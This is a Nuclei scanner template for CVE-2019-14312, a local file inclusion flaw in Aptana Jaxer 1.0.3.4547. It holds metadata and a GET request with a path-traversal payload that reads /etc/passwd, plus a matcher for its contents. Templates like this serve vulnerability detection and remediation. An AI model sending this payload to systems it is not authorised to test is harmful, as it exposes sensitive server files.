id: CVE-2019-14312

info:
  name: Aptana Jaxer 1.0.3.4547 - Local File inclusion
  author: daffainfo
  severity: medium
  description: Aptana Jaxer 1.0.3.4547 is vulnerable to local file inclusion in the wikilite source code viewer. An attacker can read internal files on the server via a tools/sourceViewer/index.html?filename=../ URI.
  impact: |
    Successful exploitation of this vulnerability could allow an attacker to read sensitive files on the server, leading to unauthorized access and potential data leakage.
  remediation: |
    Upgrade to a patched version of Aptana Jaxer or apply the necessary security patches to mitigate the LFI vulnerability.
  reference:
    - https://www.exploit-db.com/exploits/47214
    - http://packetstormsecurity.com/files/153985/Aptana-Jaxer-1.0.3.4547-Local-File-Inclusion.html
    - https://github.com/aptana/Jaxer/commits/master
    - https://nvd.nist.gov/vuln/detail/CVE-2019-14312
    - https://github.com/ARPSyndicate/kenzer-templates
  classification:
    cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N
    cvss-score: 6.5
    cve-id: CVE-2019-14312
    cwe-id: CWE-22
    epss-score: 0.20586
    epss-percentile: 0.9719
    cpe: cpe:2.3:a:aptana:jaxer:1.0.3.4547:*:*:*:*:*:*:*
  metadata:
    max-request: 1
    vendor: aptana
    product: jaxer
  tags: cve2019,cve,lfi,edb,packetstorm,aptana,vuln

http:
  - method: GET
    path:
      - "{{BaseURL}}/tools/sourceViewer/index.html?filename=..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2fetc%2fpasswd"

    matchers-condition: and
    matchers:
      - type: regex
        regex:
          - "root:.*:0:0:"

      - type: status
        status:
          - 200
# digest: 490a004630440220054a9d9eb674e49417a9c03e8cc4640aa6a9a246f2c3c96fe8a485334ad450050220531e265b20ba90b4e206df7805be73e7ab7c5f201eb2448b8c5177a1b642bac7:922c64590222798bb761d5b6d8e72950